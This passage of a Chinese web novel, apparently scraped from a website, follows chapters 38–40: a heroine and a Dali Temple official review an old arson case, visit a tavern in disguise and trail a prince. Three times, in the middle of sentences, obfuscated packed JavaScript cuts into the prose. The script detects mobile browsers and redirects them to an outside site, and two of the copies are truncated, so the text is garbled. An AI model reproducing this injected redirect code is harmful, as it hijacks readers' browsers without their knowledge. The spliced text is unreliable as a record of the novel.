“花昀进大理寺的时间其实也不长,只有两年多一些。”李时丰站起身来,又从犄角旮旯的架子上取来了一份名册。 “本官记得,他刚进大理寺的时候,似乎是调职,但是没有说明是从哪里调来的,本官当时任职没多久,大理寺丞又急需人手,见他也是查案的一把好手,所以就顺理成章地将他留下了,后来我们逐渐熟络起来,陆贰和徐柒也可以和他称兄道弟,本官虽然看在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568648|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里没有说什么,但心中的疑虑未散,自然也不会彻底信任他。” 李时丰敲了敲桌面,有些不大确定地接着说:“但是,本官有些怀疑他和秋芸的想法倒是没有什么差别” “难怪查案的时候,大人您也没怎么叫他一起。”谢筠熙回忆着之前外出办案的场景,花昀出现的频率似乎并不高,听罢李时丰的怀疑,谢筠熙也跟着分析起来,“他同我说的确与秋芸又一面之缘,可他若是与大人所说是两年前进大理寺的话,那他又说纵火案那日他见过秋芸,可那分明是三年前的事!” 谢筠熙猛得一锤桌案,直直起身,将上面的灰尘也带起来,好巧不巧谢筠熙倒吸一口凉气,就被这些灰尘呛得剧烈咳嗽起来吗,但她刺客顾不上这些:“咳咳咳,所以这小子是在骗我!” “你,何必如此激动,咳咳。”李时丰被她殃及,也咳了几声。 “我当时还很相信他!可恶啊!果然人善被人欺!这样说来他平日里迟钝的模样都是装出来的喽……”谢筠熙捏紧拳头,“更生气了是怎么回事?!” “坐下,本官让你坐下。”李时丰哭笑不得看向谢筠熙。 “哦。”谢筠熙这下也不规矩坐着了,将脚往外一叉,怎么舒服怎么来。 “手,给我。”李时丰向谢筠熙摊开手掌。 谢筠熙不知所以然,但还是把手递了过去。 这货对自己下手也不知道轻重,果然红了。 李时丰的掌心传来轻柔的触感,他将谢筠熙的手掌翻了个面,果然看见关节处红彤彤一片,还有些地方擦破了皮。 “拿去,一会回去涂上。”李时丰不知从哪掏出了一瓶膏药,塞进谢筠熙的掌心里。 “我能打个欠条吗大人,现在我兜里没有银两。” 黄鼠狼给鸡拜年——不安好心!谢筠熙感受到掌心传来的冰凉,瞬间警惕起来。 “本官是见你今日又是扇自己巴掌又是把手锤成这样才给你这膏药的,免费!”李时丰没好气地抽回手。 “真的啊……不用再用什么东西抵消了?”谢筠熙犹豫着把膏药塞进衣襟里,一边又将信将疑地望向李时丰。 “不用……不要还本官。”李时丰张手就要往谢筠熙面前递来。 “大人的好意小女子领了,多谢大人。”谢筠熙往后倒了倒,无声地拒绝了李时丰的话。 “花昀还同你说过什么?”李时丰无奈,只得把话题又扭转回来。 “他说他只记得一些与案件有关的事,从前的其他事他都记不大得。”谢筠熙也不闹了,抬头回想。 “那便更加奇怪了。” 李时丰合上名册。 “怎么说。”谢筠熙做出一副洗耳恭听的模样。 “花昀跟着大理寺丞干的这几年,本官分明记得,他记忆过人啊。” “他那天跟我说的,没一句真话?”谢筠熙泫然欲泣。 合着我是被当成傻子骗了吗? “倒不一定全是假的,也许另有隐情。”李时丰倒也没有再打击谢筠熙。 “是啊!”蔫蔫的谢筠熙再次支棱起来。 38. 乔装(了个寂寞) 谢筠熙和李时丰在地下室几乎将所有卷宗都翻了一遍,当然也包括三年前的那场纵火案。 说实话谢筠熙有一事十分不解,按照秋芸当时所提供的消息来看,除了她的养母和两个妹妹不幸遇难,纵火案的最大受害者镇北夫妇也都双双殒命,此事在历史上的确有所记载,但任何一份有关辰朝的资料都分明写着这是一场意外。 饶是穿越之前的谢筠熙,也时常和考古队的朋友谈及此事,他们都觉得这显然并不是可以以“意外”草草盖过的事,只怕另有*隐情,且极有可能涉及政治斗争,苦于至今没有挖掘出证据,所以史书上的话也无法修改。 谢筠熙查看着卷宗上所记载有关此案的细节,她的指腹轻滑过纸上的墨字,眉头始终不展。 “这个案子发生之前,正是北萧大捷,镇北将军凯旋之日,可刚回京没多久就发生这等祸事,很难不让人怀疑啊。”谢筠熙摩挲着下巴喃喃。 “是啊,皇上起初也是不信,京中百姓对季项年亦是心怀敬佩,京兆尹的府门都要被踏破了,可到最后却什么都没查出来,人证、物证,样样指向这是场意外。”李时丰说起这话时,目光低沉,不知在想些什么。 “一定会有漏洞的!如今不也重启此案了嘛,大人您别灰心。”谢筠熙合上已过目完的卷宗,总觉得李时丰的情绪有些低落。 “可偏偏,此案本官并未参与其中,偏偏……”李时丰紧握双拳,嘴角抿成一条线,眼里的杀意几乎要夺眶而出。 杀意? 谢筠熙对自己无意觉察到的东西有些震惊,秋芸的话突然再次在脑中响起。 “大人,他亦与您有不共戴天之仇。” 难道…… 谢筠熙的心里陡然萌生了一个想法:镇北将军和李时丰怕是有不小的关联。 思及此,她抬头看向李时丰,哪知他也正定眼瞧着谢筠熙,眼里的阴鸷依旧不散。 谢筠熙被吓了一跳,但她依旧小心翼翼地向李时丰提问:“大人这是……” “没事,本官只是有些烦闷。”李时丰摆手。 “烦闷?大人是何时入大理寺的?”谢筠熙突然发问。 李时丰瞳孔放大了一瞬,最终还是选择了回答:“两年多前。” “这……” 这时间未免都太凑巧了一些。 谢筠熙没有说什么再说什么,只是继续翻阅卷宗。 两人就这样在沉默中又度过了两个时辰。 当谢筠熙和李时丰再次回到地面上,陆贰和徐柒的身影在地下室入口若隐若现,一个疲惫蹲地,一个则是倚在房柱旁打着瞌睡。 “你们是在这呆了多久?”谢筠熙见二人虚得不行面色发问。 “大概小姐和大人进去之后三刻之后吧。”徐柒打了个哈欠,掐指算了算时间,这才回答。 “老大,你们怎么现在才出来,卷宗室有必要待这么久吗?”陆贰敲着酸胀的双腿颤巍巍从地上起来,差点踉跄着摔倒在地。 “你们两个为何不一起下来?非得站在这里?”李时丰给了这俩人一人一个爆栗子,直把二人弹得嗷嗷叫唤起来。 “若是你们下来,本官和谢今安就没必要耗这么长时间。” 陆贰捂着带红印的额头,满眼无辜地为自己辩解:“属下原本是想要下去的,但徐柒拉着我不让属下走!” 陆贰一边说着,还一边用幽怨的眼神看向徐柒。 徐柒无视,只是一味地低头解释:“老大,属下以为……您不想属下们打扰您和……呃……谢小姐。” “打扰什么?”李时丰望向徐柒的眼神幽深起来。 “就是……哎呀老大,属下若是说出了口,那谢小姐怎么办呢?”徐柒抬头,冲李时丰挤眉弄眼起来。 “本官看你是被赵泓玉传染病症了吧,下个月清扫前院的活徐柒包了,小二你可以不用做了。” 李时丰残忍地决定。 “好耶!老大万岁!”陆贰喜得差些一蹦三尺高,被徐柒狠狠一瞪又收敛了起来。 “哎……老大,罢了罢了。”徐柒无奈扶额,只能接受来自老大“爱的教育”。 “所以你们来是有什么事吗?”谢筠熙竟有些听不懂他们到底在说些,只能见缝插针地提问。 “哦对了,老大,我们接到线人来报,说是看到花昀在那间新开的酒楼里出现过。” 徐柒和陆贰一秒正经起来,向李时丰汇报。 “新开的酒楼?”谢筠熙歪头。 “像香楼这种地方,不可能彻底杜绝,既然陛下将它封了,自然会有取而代之的新店出现,最近京城里开了一家叫春满园的酒楼,虽说是酒楼,但里面的其他产业,却也和香楼大致相同,只是更为……特殊一些。”李时丰向谢筠熙解释。 “这样……那这次知道酒楼的主人吗?”谢筠熙默默在心里叹了一口气。 “这……不好说,不过应当与殿下脱不了干系。”李时丰犹豫了一阵还是说出了真相。 “什么?!!赵泓玉是疯了吗?明知道……” “唔!!” 谢筠熙正想要继续说下去,被李时丰捂住了嘴。 “本官就知道,告诉你你就是这个反应。”李时丰无奈摇头。 李时丰捂得有些用力,谢筠熙不服气地用手去掰李时丰的手指,只能发出“呜呜”的声音,气得眼眶都有些发红。 李时丰注意到这一点,立刻松手。 “咳咳……”新鲜的空气突然灌进谢筠熙肺里,让她忍不住猛地呛了几声。 但她的声音显然没有这样大了:“殿下他……明明知道从前香楼的危害,为什么还要?” 问完这话,她便抱拳跑到另到一边,不愿再看李时丰。 “你随本官去看看就知道了。”李时丰上前,轻声说着。 “老徐,你有没有觉得,大人有些不大一样了?” “你才知道吗……” 陆贰像是从来没有见过李时丰这番温声细语的模样,同徐柒在一旁咬耳朵,却只换来了徐柒的白眼。 “哦~差点忘了,大人和他是一伙的,去了又如何?”谢筠熙依旧对李时丰爱答不理。 “谢今安!本官说了你也不信,衡王所招的人,是那些最终流落街头的剩余者,为了吃口饭……” “好!那要让他们继续干那种事,出卖自己的贞操嘛?我竟不知道,在大人和殿下眼里,给他们口饭吃的方式就是继续做这样折辱人格的事!” 谢筠熙没有听下去,同李时丰叫嚷起来。 李时丰气急:“你猜我为什么要说‘特殊’?一定非要让本官把所有内情都告诉你才知足是吗?” “他们到底在吵什么?”陆贰被这阵仗吓了一跳。 “哎呀谢小姐怎么不听老大把话说完,急死我了。”徐柒把脖子伸得老长。 “是!我就是不愿看见那些人再被欺骗一次!”谢筠熙说罢,正要扭头就走。 李时丰一把拽住了她的胳膊,将她拉近自己的身侧。 “大人这是做什么?” 谢筠熙冷哼一声,正要甩手挣脱,李时丰却凑近谢筠熙,堪堪停在谢筠熙耳边。 “你既然想知道,那便不要告诉旁人,不然赵泓玉那小子必然将本官大卸八块。”李时丰说完这话,就附耳说了些什么。 说话间温热的气流在谢筠熙耳畔飘过,李时丰身上散发的淡淡的熏香味同样钻进谢筠熙鼻尖,让谢筠熙的大脑不由自主放空了一瞬,可她听见李时丰说的话,显然讶然大于不知所措。 “殿下这么干,倘若让陛下知道……” “不会的。”李时丰缓缓离开谢筠熙身侧,淡淡地说道。 “去吧,我同意了,只是我们这样贸然前去,是不是有些不太妥当。”谢筠熙叉腰抬头,半晌闪过一丝疑虑。 “花昀去殿下的地盘做什么?” 李时丰摇头:尚不知,去了就知道了。” “所以这个所谓的线人,也是……的人?” 谢筠熙突然意识到这个,张大嘴露出惊讶的神情。 “是。”李时丰依旧淡定回答。 “老大!我们要一起去吗?”虽然方才二人争吵时徐柒和陆贰隔了很远一段距离,直到谢筠熙突然平静下来,二人才敢上前,却听到了这样一番话,连忙主动请缨。 “不必,徐柒,本官突然觉得,对你的处罚过于沉重了些,再减掉半月清扫。”李时丰突然冲徐柒这样说道。 “多谢老大!”徐柒的双眸亮起来,他偷偷看了谢筠熙一眼,一眼就看见了她发红的耳尖,突然意识到了些什么,与李时丰告退时露出敬佩的眼神。 想什么呢?这小子…… 李时丰莫名,但没再说些什么。 二人既决定去春满园亲自抓包花昀,自然要做好完全的准备。 侧厅内,谢筠熙拖出自己的易容工具,又掏出了几件衣裳,准备为李时丰进行第二次改造。 “大人,您说春满园女子为多,不妨将你化为女子吧?”谢筠熙坏心眼地描摹着李时丰的眉眼,突然想出一个绝妙的法子。 “……” 李时丰突然有些头疼。 “其实小女子一直很想知道大人若是女子是何等绝色。”谢筠熙继续劝说,不想放弃这个绝佳的机会。 “现在倒是不生气了?方才是谁对本官又吼又叫,一点礼数都不讲。”李时丰扶额。 “是小女子的错……是小女子对这件事有些过于敏感了,没让大人说完话,望大人原谅。”谢筠熙的脑中闪过秋芸那安详的面庞,记忆与穿越前的某一幕重合。 “罢了罢了,你若是想便化吧。”李时丰没有拒绝。 “没想到殿下不仅手伸向了朝堂,连民间也渗透颇深啊……”谢筠熙一边拆掉李时丰的官帽,一边替他梳头。 “赵泓玉向来是这样的人,万全之策才是最符合他作风的。”李时丰望向铜镜里那双细白的双手,发丝的牵动让他有些微微发痒。 “罢了,做什么都好,只要他没有真的让那些人卖身便好。”谢筠熙想了一会,松开话头。 “他为达目的不择手段,倒也不稀奇,也许他不懂这些事情的含义,可潜移默化之中,也许还真做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这样大辰就又能多一个风华绝代的美人了。”谢筠熙绕着李时丰转了一周,竟然没有觉得有蹩脚的地方。 “没想到大人还特意学习过女子的礼仪,真是挑不出一点错来。” 眼前的李时丰俨然一副冷艳美人的模样,连站姿都变得收敛了起来,不似先前那般豪放,只是他那不似京中人的气质竟被更加凸显出来。 “多看看就会了,这不难。”李时丰回答,开口就是男子粗重的声线。 谢筠熙顿时幻想破碎:“罢了,你还是不要说话了。” 李时丰不满,但他并不会伪装声线,只得不情不愿地答应。 二人打扮得花枝招展来到春满园时,吸引了了所有人的目光,当然,也出奇顺利地受到了隆重的招待。 谢筠熙顺着那些形形色色的目光望去,一时之间却没有察觉到花昀的身影,但令她惊讶的是,如同李时丰所说的那般,春满园里的男客果然少于女客。 那么所谓的与香楼相同的以“色”侍人究竟是何意? 这个疑惑直到谢筠熙遇到从前在香楼见过一面的姑娘才解开。 “是那个告诉我第二具尸体又匆匆离开的姑娘!”谢筠熙见她正给客人端茶送水,脸上却没有再见到从前的惊惧,连脸蛋也圆了一圈。 “看来赵泓玉把他们照顾得很好。”李时丰与谢筠熙坐在预定的包厢里,顺着她的视线看去。 不知是不是错觉,那姑娘察觉到了楼上观察的眼神,做完手中的事竟径直向谢筠熙的方向走来。 “她听得到!”谢筠熙小声惊呼。 “也不知道赵泓玉是怎么做到的,竟能将这帮人训成这样。”李时丰亦小声感叹。 “两位小姐,需要些什么?”那姑娘笑得温和,让谢筠熙有些心虚。 “两盏茶便好。”谢筠熙这样说着,却悄悄冲那姑娘勾了勾手指。 “小姐,可是有什么疑惑?”她招呼另一个路过的姑娘去拿茶,依旧笑得得体,看不出一丝破绽。 “姑娘,你们这里有……那种服务吗?”谢筠熙一脸神秘兮兮。 “小姐,一人一百两哦。” 李时丰知道其中的含义,谢筠熙却有些费解:“什么?” 李时丰做了个抹脖子的动作。 !!竟然是买命钱吗?赵泓玉这是真的养了一帮杀手啊!!说出去的确是大逆不道的事了,他真敢…… 谢筠熙露出了然的神色,却先拒绝了那姑娘的问话,站起身透过包厢的小窗望向一楼。 “姑娘,你们这里为何男客如此之少?” “哦,因为那些大多是我们的,货。”姑娘的笑在谢筠熙眼里变得有些阴森恐怖起来。 “好了,别吓她了。”李时丰突然开口说话。 “真没想到,殿下竟然真的料到了。”那姑娘将脸色一变,笑嘻嘻地凑到李时丰旁边。 这又是什么意思?!谢筠熙突然有些惊疑不定起来。 39. 又生事端 香楼那惊疑不定,忧虑丛生的姑娘形象陡然在谢筠熙心中一百八十度大转变,她晃了晃身子,一口喝尽茶盏里的茶,有些不可置信地捂住心口:“你……你也是赵泓玉的人?” “小姐,虽然骗了你有些于心不安,但是既然已经到这份上了,嗯,我的确是衡王的人不错。”说话间,她将瓷玉做的茶壶提在手上,为谢筠熙又满上了一盏茶。 “香楼案的那具突然出现的尸体,难道是……”谢筠熙和李时丰对视了一瞬,都从对方眼里看到了了然。 “嗯,是我故意引秋芸去到那处的,组织这里对她的性情做了很多调查,她……是个好姑娘,只是为了扳倒香楼,我们必须借她的手做些什么。” 谢筠熙只在这姑娘的脸上看到了一闪而过的怜悯,而后就是理所当然的淡然陈述。 赵泓玉带出来的人,连观念都与他如此相像。 谢筠熙这般感叹着。 “郭睿的头是你毁掉的?”李时丰微微向前动了动身,犀利的目光直直射向那姑娘。 那姑娘晃了晃食指:“非也非也,这事可不止是我干的。” 谢筠熙琢磨着这番对话的意思:秋芸之前提供证词的时候说虽然郭睿是她干掉的,但是头却不是她为了毁尸灭迹而烧,怕是香楼里还塞了一帮赵泓玉的人,那个刘樟在秋芸的口述里本来只是被杀,可没说被分尸,如今看来,这恐怕也是赵泓玉的人做的。 真是机关算尽。 谢筠熙不寒而栗。 “小姐,真的不考虑一下吗,有没有让你痛恨终身的人,交钱就办事。” 那姑娘游蛇一般绕到谢筠熙身边,将谢筠熙吓得鸡皮疙瘩起了一身。 “不用了不用了,我倒还没到那般田地。”谢筠熙疯狂摆手,眼里写满了抗拒。 “好吧,那有需要可以来哦~” 这欠兮兮的语气,若不是这姑娘身型和赵泓玉八竿子打不着,谢筠熙真的要认为这是赵泓玉女扮男装来整她的了。 李时丰站起身来,一米八几的高个子“姑娘”横插一手把谢筠熙和那人隔开,发出低沉的声音:“这春满园也是为了替代香楼而存在的,是与不是?” “大人,原谅我先笑一会好吗,您这样子实在是有些滑稽。”那姑娘被这阵仗惊得退了半步,后知后觉有些想要发笑。 “噌”,一直被安置在身旁的横刀被李时丰从布袋中抽出了半截。 “咳咳,大人,属下知错。”那姑娘的嘴角立刻降下来,“没错,春满园其实一直都存在,只是一直以来没有它出现的时机,香楼背后的人,据属下潜入多年,也未能触及真正掌权者的身份。” “所以干脆一不做二不休,先把香楼搞垮?”谢筠熙突然插话,“那不就是对那人的挑衅嘛,此人身份不详,但恐怕非好拿捏的人,殿下这么做,就不怕打草惊蛇吗?” “所以殿下所做的,可远远不止这些,就差将大网全部织上,将钻出草丛的蛇,一网打尽。” 那姑娘笑了笑,说出的话却同她那清纯可人的模样形成了鲜明的对比。 一步错,步步错,原来的历史极有可能是哪一环出了错误,这才导致赵泓玉的陨落。 谢筠熙以未来者的角度审视着眼前的这一切,突然明白了这个道理。 “衡王真是好手段。”李时丰放回横刀,眼底深含着说不明道不清的情绪。 “两位,吃好喝好,我先走一步,有事可叫我,就叫‘灵蛇’便好。”那名叫“灵蛇”的姑娘,俏皮地冲谢筠熙眨了眨眼,背身就蹦跳着离开了。 “大人,这姑娘和我在香楼见到的状态截然不同……”谢筠熙仍处于震惊之中。 “赵泓玉的人,都很会演。”李时丰沉默着喝了一口茶。 “也是……”谢筠熙的附和着点头,也沉默地喝了一口茶。 “既然来了,总不能空手而归吧。”谢筠熙突然抬起头,目光炯炯凝望李时丰,“现在还不清楚花昀来这里的目的是什么,但小女子问大人一个问题。” “问。” “花昀的确不是赵泓玉的人是吗?” 这话听着怎么这么怪…… 李时丰摇头:“对,不是。” 谢筠熙原本还有些怀疑,但李时丰那确信的眼神,只好让谢筠熙先把这份怀疑放进肚子里。 “若是赵泓玉连本官都骗那就当本官没有说。”李时丰补上这句,语气里尽是无奈。 “好吧,先不说这个了,大人,一会我们下楼看看吧。”谢筠熙摆手,对李时丰提议。 “现在就下去。”李时丰放下茶盏,抓起布袋就要起身,但是刚迈出一步,就听见了一声诡异的布帛撕裂声。 谢筠熙自然也听见了,她眼睁睁看着李时丰僵在原地,顺着那撕裂声望去,想笑又不敢笑,一时之间把脸憋得通红。 “大人……你先别动,我把桌子挪一挪。”谢筠熙强忍着笑意起身,用双手抬起压住李时丰裙摆的一角。 “……” 李时丰阴沉着一张脸,定定看着谢筠熙有些颤抖的身躯,知道她一定是在笑,不由觉得有些恼怒。 “谢,今,安,不许嘲笑本官。”李时丰恨恨吐出这几个字。 “大人,您放心,这件屋子里就只有你我二人,此等颜面尽失的事小女子是绝对不会往外说的。”谢筠熙把李时丰的裙摆捞出来,直起身子的时候说得信誓旦旦。 “本官有些不大相信你。”李时丰狐疑地望向谢筠熙。 “咳咳,那这位李姑娘,今天的事,你知,我知,天地知,若有违背,天打雷劈好不好。”谢筠熙突然伸手勾住了李时丰的小指,满脸真诚地盯着李时丰的眼眸。 李时丰被她这莫名其妙的一出搞得浑身不适应,可他望着眼前这双眼,看见她凑得极近的唇,心底里有什么东西正在破土而出,不由自主将脸也凑了上去。 但是一想到自己现在的模样,李时丰生生抑制住了这股冲动。 我刚刚为何不避!不仅不避竟还想要迎上去,疯了……一切都疯了。 李时丰简直难以置信。 谢筠熙也讶然于李时丰方才的举动,双方一时之间尴尬异常,互相在原地站了数十秒,直到一楼突然传来的异动,将二人从这奇怪的氛围之中拯救回来。 刚走出包厢,谢筠熙和李时丰就看见了人群中那暗紫色的身影。 “二殿下?”谢筠熙有些不大确定,毕竟之前九皇子接风宴上她就看到了几眼。 “是他,他来春满园做什么?”李时丰也有些惊疑不定,但未免走漏风声,他牵住谢筠熙的手,将她悄悄拉进人群之中。 闹事的似乎是一位男客,许是吃酒上了头,一个劲的叫嚷着要姑娘。 灵蛇的身影也出现在人群之中,她一边向那名男客靠近,一边与周围同她穿相同服饰的互相使着颜色,有什么东西在她宽大的袖口一闪而过,只留下一丝暗芒。 “不好,她怕是要动手。”谢筠熙有些着急,但手被李时丰牵制,动弹不得。 “稍安勿躁,先看看会发生什么,赵璟曜出现在这里必然不是什么好的兆头。” 果不其然,谢筠熙听罢此话,就看见赵璟曜隐匿在人群之中看似看客,实则探究的眼神,只觉得浑身一凉。 好巧不巧,那景王如毒蛇一般的眼神朝谢筠熙和李时丰的方向瞥了一眼,又回过头去。 这一眼把谢筠熙吓得大气都不敢出,只能强装镇定。 那男客依旧在吵嚷,酒馆的掌柜也匆匆赶来,拿来门口的木牌替男客解释着什么。 “白日里春满园并不提供那些人想要的服务,不过刚听灵蛇的说法,这人倒像是在急着去死了。”李时丰的眼神没有离开赵璟曜半分,却把事端中心听得一清二楚。 “大人,闹事的那个,我怎么总觉得有些像是在接风宴上看到过的人?”谢筠熙和李时丰几乎是在用气音说话,她也不敢回头,只能尽量传达自己想要表达的意思。 “清君侧,殿下此举,可谓是如履薄冰,稍有不慎就会失足。” 李时丰敏锐地感知到了赵泓玉的这么做的意义。 景王在场,此举未免太过明显了些,不妥! 谢筠熙着急得焦头烂额,眼见着灵蛇逐渐逼近,李时丰却比她先快一步上前。 正巧有位姑娘正端着一壶酒走来,李时丰欺身往身上一一撞,将酒壶里的酒都撞得倾洒出来,轻纱的裙裳顿时被酒香味染上,那端酒壶的姑娘一个劲地道着歉,李时丰异常的举动吸引了一直没有错过李时丰动态的灵蛇,她犹豫了半天,终是决定往他这边来。 “发生了什么。”灵蛇匆匆赶来,方才袖间的寒芒已然消失不见。 “我家姑娘被酒洒了身,衣裳还坏了,不知店里可有存换衣物的地方。”谢筠熙明白了李时丰的用意,忙上前解释。 “有的姑娘,请随我来。”灵蛇往前面一处房间指着,把李时丰和谢筠熙往那处带。 期间谢筠熙用余光观察着赵璟曜的动向,见他只是淡淡往这瞥了一眼就挪开了头,这才轻轻松了一口气。 直到三人进了那房间,灵蛇拿出一套崭新的男装,叫李时丰先应付应付,又要往外赶去。 “灵蛇姑娘,景王在外面,先不要轻举妄动。”谢筠熙拽住一脸焦急的灵蛇,轻声说道。 “景王?!”灵蛇有些奇怪,“他向来不会亲自出动。” 她这一番话让谢筠熙想起了之前所经历的每一次逃亡,对灵蛇认同地点了点头。 “事出反常必有妖,虽然不知道殿下跟你说了些什么,但今日之事,还是先不要去拿命赌了。”谢筠熙说着这番话,却偷偷打量着灵蛇的神情。 “多谢小姐了,此事是属下鲁莽了。” 灵蛇转过身不再往屋外走,对谢筠熙的态度也同方才那副轻慢的模样变得正经起来。 只是她莞尔一笑,语不惊人死不休地对谢筠熙说道:“小姐果然关心殿下的大事,灵蛇不再怀疑小姐了。” 这哪是关心赵泓玉的计划!!他把自己和李时丰都搞进局里来了,走错一步他们二人也得玩完啊! 谢筠熙在内心又把赵泓玉的小人扎了千百遍,面上却依旧笑得得体:“如此甚好,如此甚好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李时丰这时候想起来了赵泓玉在接风宴上的那句怀疑,心下泠然。 “为什么是柳家。”李时丰目光如刺。 柳家? 谢筠熙第一反应先想到了柳贵妃,然后就是在接风宴上露过面的柳无涯。 国师。 “殿下不会放过任何一个让自己起疑心的时候,他的猜测一向很准。”灵蛇用几乎笃定的语气同李时丰辩解。 “可若是猜错了呢?赵泓玉有想过这个后果吗?”李时丰的声音陡然拔高。 “大人,您知道的,布局者最忌讳的,就是畏首畏尾。”灵蛇的表情古怪起来。 “这与赌徒有何区别?”李时丰继续质问。 “大人,您分明知道,依着殿下的性子,他看到的,从来不只是皇位。”灵蛇也压死了声音。 谢筠熙从这场交锋中似乎有些拎不清李时丰的态度,他分明为赵泓玉办事,可他有的时候却不完全认同赵泓玉的决策,似乎是为了什么…… 谢筠熙打住自己的念头:罢了罢了,一切从穿越过来那一刻就开始变了,我没有评判这一切的资格,只得静观其变了。 “灵蛇姑娘,我们走吧。”谢筠熙拉上灵蛇,和她从门口离开。 李时丰移目,没有再说话。 “谢小姐在想什么?”灵蛇被她拽出门,有些讶然。 “没有,只是,没有想到殿下他是这样大胆。”谢筠熙有些沉思,但她很快振作起来,“我们要做些什么,灵蛇姑娘。” “可否烦请小姐,想个对策帮我把景王引开。”灵蛇又换上她那副轻飘飘的模样,对谢筠熙笑笑。 “我?我吗!”谢筠熙一脸懵地指向自己。 “想必谢小姐这副模样也非原脸,而且,灵蛇似乎从殿下那听说,谢小姐对这件事十分擅长?”灵蛇靠近谢筠熙,用食指轻轻抬起谢筠熙的下巴挑逗了一番。 赵泓玉到底在乱传些什么啊?!! 谢筠熙无法苟同赵泓玉的作派,在心里默默翻了个白眼,嘴上却只能应下:“行,我尽力吧。” “谢小姐,灵蛇看好你。”那姑娘轻拍了几下谢筠熙的肩,一溜烟又隐没在了人群中。 谢筠熙无奈地在原地打转,现如今那醉醺醺的男客不知道被掌柜的说了些什么,此刻虽然也不吵嚷,但面上依旧有些不满。 赵璟曜见状没了兴致,却也没有离开那里太远,谢筠熙眼瞅着干着急,正下定决心要往前走,赵璟曜跟前却冒出来另一个人。 “我靠……怎么是花昀!”谢筠熙一声国粹出口,立刻意识到将声音压低,假装自己很忙地在阶梯旁四处张望。 他们说啥呢…… 谢筠熙蹲在地上,却没有忘记听二者的谈话,奈何春满园实在是人多声杂,只能能看着赵璟曜和花昀边说便离开。 他竟然离开了!谢筠熙赶忙上前查看,果然花昀把赵璟曜带离了春满园。 这下都犯不着自己出手了是吗?搞什么啊,这个花昀…… 谢筠熙冲灵蛇点了点头,接收到这个消息后,立刻就有人上前来,把喝酒的男客带走。 40. 旧宅 谢筠熙怕再生事端,只能先悄悄跟上花昀同赵璟曜二人,恰巧此时李时丰也从更衣的房间转出来,看见谢筠熙那犹豫不定的模样,幽幽叹了一口气,也拔腿跟上。 刚走出门不久,谢筠熙着急地回看了春满园一眼,灵蛇已然达成目的,她分明看见那一间被锁上的房门,至于里面发生了什么,那便不得而知了。 哎……谢筠熙心情复杂,重新把注意力放到了门外的那两人身上。 李时丰躲在人群中,看着谢筠熙一会叹气一会探头,不投觉得有些好笑,直到她彻底出了门,才握住刀柄跟上去。 不过自从李时丰出来之后,他那毫无遮挡的夺目外表成功引起了店里一部分人的目光,一些官家女子对他含羞投目,另一些显然是将他认了出来,时刻注意着他的动向。 见他出门,有一帮人正要起身追上去,春满园的人却先围了上来,把他们以各种理由困死在楼里,那些人自知这些看上去手无缚鸡之力的姑娘都不是什么善茬,只好顺着他们的话给自己找台阶,最后眼巴巴看着李时丰堂而皇之地走出春满园的正门。 这边谢筠熙正追着二人的踪迹,刚走到街上,赵璟曜那抹暗紫色的身影就突然消失不见,正当谢筠熙站在原地惊疑不定时,身后突然有一双手攀上肩头。 我……靠……不是吧…… 谢筠熙顿时被吓出了一声冷汗。 她颤巍巍扭过头去的时候,已经想好了自己的一百种死法,哪知道映入眼帘的却是李时丰那张淡漠如初的脸,只是他的嘴角已然挂上了一丝诡异的弧度。 吓死我了!!! 谢筠熙狠狠瞪了他一眼,捏紧拳头强忍着想要一拳锤他身上的冲动,皮笑肉不笑地冲李时丰低声说着:“大人,您怎么跟上来了?方才不是在更衣处待着吗?” “本官怕你乱来。专程过来盯着你。”李时丰被她拉到一处比较隐蔽的角落,笑意却更甚。 “你差点吓死我了知道吗,大人!”谢筠熙低声抱怨着,又扭头追看赵璟曜的动向,方才消失在人群之中的身影不知何时又出现了,她慌忙松开李时丰的手扒住墙角,伸出一双眼紧张兮兮地盯着。 “跟本官来,抓住了。” 李时丰挫不及防搂住谢筠熙的腰身,沉气运功就单手抱住她飞上了屋顶。 “我靠!!”谢筠熙一点都不像是做好准备的样子,失重的那一瞬间,心里话抑制不住被叫喊出来,随后就是被风刮过面颊的感觉。 好奇妙……但是为什么跟自己想象的不一样啊!! 电视剧果然都是骗人的,与其说抱,不如说谢筠熙是被李时丰提上的屋顶,上下半身都被迫朝下的感觉,让谢筠熙觉得自己的一口老血就要吐出来。 “大人,能拜托你不要这么抱我吗?嗬呃呃……感觉中饭要回哕出来了。”谢筠熙在风中凌乱。 李时丰这个时候才注意到谢筠熙的一脸菜色,默默把抱人的姿势转为标准的公主抱,嘴上却依旧在逞强:“谢今安你不行。” “我?不行?”谢筠熙用食指指向自己,满脸不可置信。 我的天呐,一直在挑衅我!!! 为了不让这个弱智般的话题继续进行下去,谢筠熙自认理亏,气得连说了三个“好”,之后便心如死灰地把人群里越走越远的那两人指给李时丰:“大人,别贫了,快跟上吧。” 李时丰难得有点后悔自己说出的话,但他只是暗了暗目光,没有再说什么。 有了李时丰这个便捷的交通工具,二人很快就跟上了赵璟曜和花昀,只是他们走向的地方,让李时丰心中的不详预感逐渐被放大。 谢筠熙靠在李时丰的胸膛上,双眼没有错过赵璟曜的一点动向,却也隔着李时丰的衣裳听到了那逐渐加快的心跳。 